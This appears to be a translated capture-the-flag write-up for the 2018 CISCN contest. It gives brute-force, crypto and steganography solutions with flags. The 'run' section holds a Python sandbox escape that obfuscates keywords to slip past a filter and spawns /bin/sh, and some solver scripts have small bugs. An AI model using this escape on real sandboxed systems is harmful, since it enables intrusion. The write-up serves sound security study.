2018 National Championship - Writeup (to be added)

10.0.0.55 Writeup

Web

0x01 easyweb

Problem solving ideas

The topic is very brainy, the
user name is admin, the password is 123456, and you can get the flag (the password is now changed)

problem solving script

without

Reverse

0x02 2ex

Problem solving ideas

The title gives an ELF and an out file, the out file

Run the ELF file and find that it will give the corresponding output according to my input, the format is similar to the content in the out file

Try to blast directly, get flag{change53233}

problem solving script
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from string import printable

context.log_level = 'error'

def send(flag):
    io = process('qemu-mips mx', shell=True)
    io.sendline(flag)
    ret = io.recv().decode()
    io.close()
    return ret.strip()

enc = '_r-+_Cl5;vgq_pdme7#7eC0='

def solve(flag):
    n = len(flag) // 3
    for c in printable:
        ret = send(''.join(flag + [c]))
        if ret[0:len(flag)+n+1] == enc[0:len(flag)+n+1]:
            print(''.join(flag + [c]))
            if c != '}':
                solve(flag + [c])
            else:
                exit()

solve([])

Crypto

0x03 crackme-c

Problem solving ideas

The title gave a 64-bit ELF file, dragged into IDA analysis

It is found that the program accepts a 16-bit string, and then encrypts it with the following function and compares it with the ciphertext

__int64 __fastcall encrypt(const void *flag, char *enc)
{
  __int64 result; // rax
  unsigned __int64 i; // [rsp+20h] [rbp-10h]
  unsigned __int64 j; // [rsp+28h] [rbp-8h]
  unsigned __int64 k; // [rsp+28h] [rbp-8h]

  memcpy(enc, flag, 16uLL);
  for ( i = 0LL; i <= 8; ++i )
  {
    shuffle(enc);
    for ( j = 0LL; j <= 3; ++j )
      *(_DWORD *)&enc[4 * j] = another_wtf_array[((4 * j + 3 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 3]] ^ another_wtf_array[((4 * j + 2 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 2]] ^ another_wtf_array[((4 * j + 1 + 16 * i) << 8) + (unsigned __int8)enc[4 * j + 1]] ^ another_wtf_array[((4 * j + 16 * i) << 8) + (unsigned __int8)enc[4 * j]];
  }
  result = shuffle(enc);
  for ( k = 0LL; k <= 15; ++k )
  {
    result = wtf_array[256 * k + (unsigned __int8)enc[k]];
    enc[k] = result;
  }
  return result;
}

Most of the steps can be restored by inverse operations, but the XOR part is not easy to handle

From the data characteristics, it is known that the value of enc should be between 0 and 255, and the maximum number of blasting for each XOR is 2**32 times, which is acceptable.

Write a script to restore, get the flag: **CISCNt8z@foQ-891* *

problem solving script

Blasting XOR

#include <stdio.h>
#include <stdlib.h>
#include "another_wtf_array.c"


int main(int argc, char *argv[])
{
    int _i = atoi(argv[1]), _j = atoi(argv[2]);
    unsigned _raw = strtoul(argv[3], NULL, 10);
    //printf("%d %d %d\n", _i, _j, _raw);
    for (int i = 0; i < 256; i++) {
        for (int j = 0; j < 256; j++) {
            for (int k = 0; k < 256; k++) {
                for (int l = 0; l < 256; l++) {
                    int base = 4 * _j + 16 * _i;
                    unsigned tmp = wtf[((base + 3) << 8) + i] ^
                        wtf[((base + 2) << 8) + j] ^
                        wtf[((base + 1) << 8) + k] ^
                        wtf[((base + 0) << 8) + l];
                    if (tmp == _raw) {
                        printf("%d-%d-%d-%d\n", l, k, j, i);
                        return 0;
                    }
                }
            }
        }
    }

    return 1;
}
from ast import literal_eval

with open('./CISCN/wtf_array') as f:
    wtf_array = literal_eval(f.read())
with open('./CISCN/another_wtf_array') as f:
    another_wtf_array = literal_eval(f.read())
final_enc = [0xC3, 0xB1, 0x3, 0xFB, 0x2A, 0xAC, 0x46, 0x4B, 0x7C, 0xEE, 0xC7,
       0x74, 0x5D, 0x6D, 0xBE, 0x24]

def shuffle(a):
    a1 = a[:]
    v2 = a1[1]
    a1[1] = a1[5] #第二列下移
    a1[5] = a1[9]
    a1[9] = a1[13]
    a1[13] = v2

    v3 = a1[2] #第一,三行的第三列交换
    a1[2] = a1[10]
    a1[10] = v3

    v4 = a1[6] #第二,四行的第三列交换
    a1[6] = a1[14]
    a1[14] = v4

    v5 = a1[3] #第四列下移
    a1[3] = a1[15]
    a1[15] = a1[11]
    a1[11] = a1[7]
    a1[7] = v5
    
    result = v5
    return a1

def re_shuffle(array):
    a = array[:]
    l = shuffle(list(range(16)))
    n = 0
    
    def tmp(x):
        nonlocal n
        n += 1
        return l[n - 1]
    a.sort(key=tmp)
    return a

def decrypt(i, j, final):
    final = final[0] << 24 | final[1] << 16 | final[2] << 8 | final[3]
    raw = subprocess.Popen(['./CISCN/woc', str(i), str(j), str(final)], stdout=subprocess.PIPE).stdout.read()
    return [int(x) for x in raw.decode().strip().split('-')]
    
result = []
for _ in range(len(enc)):
    tmp_array = wtf_array[256*_:256*_+256]
    result.append([tmp_array.index(i) for i in tmp_array if i==final_enc[_]][0])
    
enc = re_shuffle(result)

for i in range(9)[::-1]:
    for j in range(4)[::-1]:
        print(f'\r{i}-{j}', end='')
        enc[4*j:4*j+4] = decrypt(i, j, enc[4*j:4*j+4][::-1])
    enc = re_shuffle(enc)

print(''.join(chr(i) for i in enc))

0x04 flag_in_your_hand

Problem solving ideas

The ck function can be seen in script-min.js, and the key parts are as follows

var a = [123, 101, 120, 48, 118, 104, 102, 120, 117, 108, 119, 124];
if (s.length == a.length) {
    for (i = 0; i < s.length; i++) {
        if (a[i] - s.charCodeAt(i) != 3)
            return ic = false;
        }
    return ic = true;
}

So write a script to calculate s = "xbu-security" and put it in index.html.

Get flag : l4uuMkiAk+MC13vLwGjhFg

problem solving script
a = [123, 101, 120, 48, 118, 104, 102, 120, 117, 108, 119, 124]
s = [ chr(i-3) for i in a ]
print ''.join(s)

0x05 sm

Problem solving ideas

When we got the title, we found that the flag was encrypted by an AES, and the encrypted key was the place to be conquered. At the same time, we saw that 512 random numbers were generated. XOR up. Originally thought this was a mathematical problem, but careful observation found that the last bits of these 512 random numbers are all 0, and the number of 0s are different from each other, so the last bit of the XOR result is only and the last without 0 After determining whether the random number without 0 at the end is used, the penultimate digit can be processed in the same way. Finally, the secret key is restored, and the flag{shemir_alotof_in_wctf_fun!} is obtained after decryption by AES .

problem solving script
with open("ps", "r") as f:
    nums = f.read().split()
    nums = list(map(lambda a: int(a), nums))
    group = [0 for i in range(512)]

with open("r", "r") as f:
    final = int(f.read())

def zeros(num):
    rev = bin(num)[2:][::-1]
    for i in range(512):
        if(rev[i] == '1'): return i

def num2bin(num):
    bnum = bin(num)[2:]
    bnum = '0'*(512-len(bnum)) + bnum
    return bnum

for num in enumerate(nums):
    z = zeros(num[1])
    if group[z]: raise Exception('gg')
    group[z] = num


xorer = 0
secret = [0 for i in range(512)]

bfinal = num2bin(final)

for i in range(511, -1, -1):
    bxorer = num2bin(xorer)
    if(bxorer[i] != bfinal[i]):
        xorer = xorer ^ group[511-i][1]
        secret[group[511-i][0]] = 1

check_xor = 0
for i in range(512):
    if secret[i]:
        check_xor = nums[i] ^ check_xor

print(check_xor == final)
#验证
secret_int = int(''.join(map(lambda a:str(a), secret)),2)
from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long
from Crypto.Cipher import AES
import hashlib
key=long_to_bytes(int(hashlib.md5(long_to_bytes(secret_int)).hexdigest(),16))
aes_obj = AES.new(key, AES.MODE_ECB)
import base64
with open("ef", 'r') as f:
    enc_flag = base64.b64decode(f.read().encode())
print(aes_obj.decrypt(enc_flag))

0x06 oldstreamgame

Problem solving ideas

Analysis shows that there are at most 2**32 possible flags, which are acceptable, try to blast

Convert the obtained number to hexadecimal to get flag{926201d7}

problem solving code
#include <stdio.h>
#include <stdbool.h>
// gcc -fopenmp -O3 another.c -o another&&./another
int main(void){
    unsigned enc[] = {32, 253, 238, 248, 164, 201, 244, 8, 63, 51, 29, 168, 35, 138, 229, 237, 8, 61, 240, 203, 14, 122, 131, 53, 86, 150, 52, 93, 244, 77, 124, 24, 108, 31, 69, 155, 206, 19, 95, 29, 182, 199, 103, 117, 213, 220, 186, 183, 167, 131, 228, 138, 32, 60, 25, 202, 37, 194, 47, 96, 174, 98, 179, 125, 232, 228, 5, 120, 227, 167, 120, 126, 180, 41, 115, 13, 149, 201, 225, 148, 66, 136, 235, 62, 46, 116, 125, 130, 22, 164, 120, 85, 7, 161, 55, 180, 19, 205, 105, 12};
    unsigned i, j, a, R, tmp, out, output, _i, lastbit;
    unsigned mask = 2751989908L;
    bool flag = false;
    #pragma omp parallel
    for (a = 0; a <= 0xFFFFFFFF; a++) {
        flag = false;
        R = a;
        //次数可以少一点,i上限取5左右即可
        for (i = 0; i < 100; i++) {
            tmp = 0;
            for (j = 0; j < 8; j++) {
                output = (R << 1) & 0xffffffff;
                _i = (R & mask) & 0xffffffff;
                lastbit = 0;
                while (_i != 0) {
                    lastbit ^= (_i & 1);
                    _i >>= 1;
                }
                output ^= lastbit;

                R = output, out = lastbit;
                tmp = (tmp << 1) ^ out;
            }
            if (enc[i] != tmp) {
                flag = true;
                break;
            }
        }
        if (!flag) {
            printf("%u\n", a);
        }
    }
}

Misc

0x07 picture

Problem solving ideas

There is nothing wrong with scanning it with binwalk. When I use 010 to open and search for FFD9 at the end of the jpg file, I find that there is still a bunch of data behind.

So binwalk -e separates it, tries to base64 decode the data, and finds the word PK, which is associated with the compressed package, but there is a problem with the format. Swap the beginning K and P and try to decompress it. A password is required, as shown in the figure below.

pictue

The prompt password is a python division-by-zero error, and the content is integer division or modulo by zero, that is, the password.

The code file is successfully decompressed, and the file is found to be uuencoded or xxencoded, so the

G0TE30TY[,$,R-S8S,D0V,#(V0D8U,S$R1#5!0S%!,T1&-3-#1D)]

Attempt to decode, found that it is uuencode, and got CISCN{0C27632D6026BF5312D5AC1A3DF53CFB} .

problem solving script

without

0x08 verification code

Sign in to get the flag

0x09 run

Problem solving ideas

Python jail type topic, very interesting

The topic filters a lot of keywords such as ls exec and import is almost completely invalid

Google learned that the currently loaded classes can be obtained via () .class.bases [0] .__ subclasses__()

Then execute the code through the catch_warnings class, write the code according to the gourd drawing, getshell

get flag: ciscn{d5333cdda7d7015818c39370958eabc2}

problem solving code
w = ().__class__.__bases__[0].__subclasses__()
o =  w[59].__enter__.__func__.__getattribute__('__global' + 's__')['s'+'ys'].modules['o'+'s']
s = o.__getattribute__('sy' + 'stem')
s('/bin/sh')

0x10 verification code crack-enhanced version

Problem solving ideas

We used an unexpected solution for this question. Four people answered the question on four computers at the same time and got the flag.

ciscn{h171ghlh7byd1dyl7h277hr2irhb1ffg}

pijie

problem solving script

without

Author: 10.0.0.55 @ L1B0, cat born in '98, schemr, vimer

Source: http://www.cnblogs.com/L1B0/

If it is reproduced, it is an honor! Please indicate the source at will;

Guess you like

Origin http://43.154.161.224:23101/article/api/json?id=325230756&siteId=291194637